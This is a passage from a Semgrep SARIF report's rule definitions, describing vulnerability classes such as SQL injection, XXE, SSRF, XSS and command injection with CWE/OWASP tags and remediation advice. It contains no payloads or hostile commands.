solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf","id":"go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf","name":"go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Special requests can determine whether a file exists on a filesystem that's outside the Rails app's root directory. To fix this, set config.serve_static_assets = false."},"help":{"markdown":"Special requests can determine whether a file exists on a filesystem that's outside the Rails app's root directory. To fix this, set config.serve_static_assets = false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.file-disclosure.file-disclosure)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_file_disclosure.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_file_disclosure.rb)\n - [https://groups.google.com/g/rubyonrails-security/c/23fiuwb1NBA/m/MQVM1-5GkPMJ](https://groups.google.com/g/rubyonrails-security/c/23fiuwb1NBA/m/MQVM1-5GkPMJ)\n","text":"Special requests can determine whether a file exists on a filesystem that's outside the Rails app's root directory. To fix this, set config.serve_static_assets = false."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.file-disclosure.file-disclosure","id":"ruby.lang.security.file-disclosure.file-disclosure","name":"ruby.lang.security.file-disclosure.file-disclosure","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.file-disclosure.file-disclosure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks.  These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead  the Python documentation recommends using `defusedxml`."},"help":{"markdown":"The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks.  These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead  the Python documentation recommends using `defusedxml`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.use-defused-xml-parse.use-defused-xml-parse)\n - [https://docs.python.org/3/library/xml.html](https://docs.python.org/3/library/xml.html)\n - [https://github.com/tiran/defusedxml](https://github.com/tiran/defusedxml)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks.  These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead  the Python documentation recommends using `defusedxml`."},"helpUri":"https://semgrep.dev/r/python.lang.security.use-defused-xml-parse.use-defused-xml-parse","id":"python.lang.security.use-defused-xml-parse.use-defused-xml-parse","name":"python.lang.security.use-defused-xml-parse.use-defused-xml-parse","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.use-defused-xml-parse.use-defused-xml-parse"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection)\n - [https://www.npmjs.com/package/wkhtmltopdf](https://www.npmjs.com/package/wkhtmltopdf)\n","text":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection","id":"javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection","name":"javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk."},"help":{"markdown":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk."},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools","id":"javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools","name":"javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.nosql.mongodb-taint.mongodb-taint)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/rust.hyper.nosql.mongodb-taint.mongodb-taint","id":"rust.hyper.nosql.mongodb-taint.mongodb-taint","name":"rust.hyper.nosql.mongodb-taint.mongodb-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.nosql.mongodb-taint.mongodb-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Insecure transport rules to catch socket connections to http, telnet, and ftp servers. This is dangerous because these are protocols that do not encrypt traffic."},"help":{"markdown":"Insecure transport rules to catch socket connections to http, telnet, and ftp servers. This is dangerous because these are protocols that do not encrypt traffic.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request)\n - [https://docs.oracle.com/javase/8/docs/api/java/net/Socket.html](https://docs.oracle.com/javase/8/docs/api/java/net/Socket.html)\n","text":"Insecure transport rules to catch socket connections to http, telnet, and ftp servers. This is dangerous because these are protocols that do not encrypt traffic."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request","id":"problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request","name":"problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure EBS Snapshot is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure EBS Snapshot is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure EBS Snapshot is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk","id":"terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk","name":"terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.peewee-django.peewee-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"helpUri":"https://semgrep.dev/r/python.django.db.peewee-django.peewee-django","id":"python.django.db.peewee-django.peewee-django","name":"python.django.db.peewee-django.peewee-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.peewee-django.peewee-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The identified XML parser permits the use of external Document Type Definitions (DTDs). This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The identified XML parser permits the use of external Document Type Definitions (DTDs). This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The identified XML parser permits the use of external Document Type Definitions (DTDs). This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe","id":"java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe","name":"java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a formatted template string passed to 'template. HTMLAttr()'. 'template.HTMLAttr()' does not escape contents. Be absolutely sure there is no user-controlled data in this template or validate and sanitize the data before passing it into the template."},"help":{"markdown":"Found a formatted template string passed to 'template. HTMLAttr()'. 'template.HTMLAttr()' does not escape contents. Be absolutely sure there is no user-controlled data in this template or validate and sanitize the data before passing it into the template.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr)\n - [https://golang.org/pkg/html/template/#HTMLAttr](https://golang.org/pkg/html/template/#HTMLAttr)\n","text":"Found a formatted template string passed to 'template. HTMLAttr()'. 'template.HTMLAttr()' does not escape contents. Be absolutely sure there is no user-controlled data in this template or validate and sanitize the data before passing it into the template."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr","id":"go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr","name":"go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi","id":"python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi","name":"python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default","id":"python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default","name":"python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Parameter \"from\" is checked at incorrect position in \"_allowances\" mapping"},"help":{"markdown":"Parameter \"from\" is checked at incorrect position in \"_allowances\" mapping\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug)\n - [https://twitter.com/Mauricio_0218/status/1490082073096462340](https://twitter.com/Mauricio_0218/status/1490082073096462340)\n - [https://etherscan.io/address/0xe38b72d6595fd3885d1d2f770aa23e94757f91a1](https://etherscan.io/address/0xe38b72d6595fd3885d1d2f770aa23e94757f91a1)\n","text":"Parameter \"from\" is checked at incorrect position in \"_allowances\" mapping"},"helpUri":"https://semgrep.dev/r/solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug","id":"solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug","name":"solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug","properties":{"precision":"very-high","tags":["CWE-688: Function Call With Incorrect Variable or Reference as Argument","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a segment of a Flask template where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability, or turn autoescape on."},"help":{"markdown":"Detected a segment of a Flask template where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability, or turn autoescape on.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off)\n - [https://flask.palletsprojects.com/en/1.1.x/templating/#controlling-autoescaping](https://flask.palletsprojects.com/en/1.1.x/templating/#controlling-autoescaping)\n - [https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup](https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup)\n","text":"Detected a segment of a Flask template where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability, or turn autoescape on."},"helpUri":"https://semgrep.dev/r/python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off","id":"python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off","name":"python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.xss.audit.template-autoescape-off.template-autoescape-off"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize."},"help":{"markdown":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods)\n - [https://docs.angularjs.org/api/ng/function/angular.element](https://docs.angularjs.org/api/ng/function/angular.element)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods","id":"javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods","name":"javascript.angular.security.detect-angular-element-methods.detect-angular-element-methods","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW 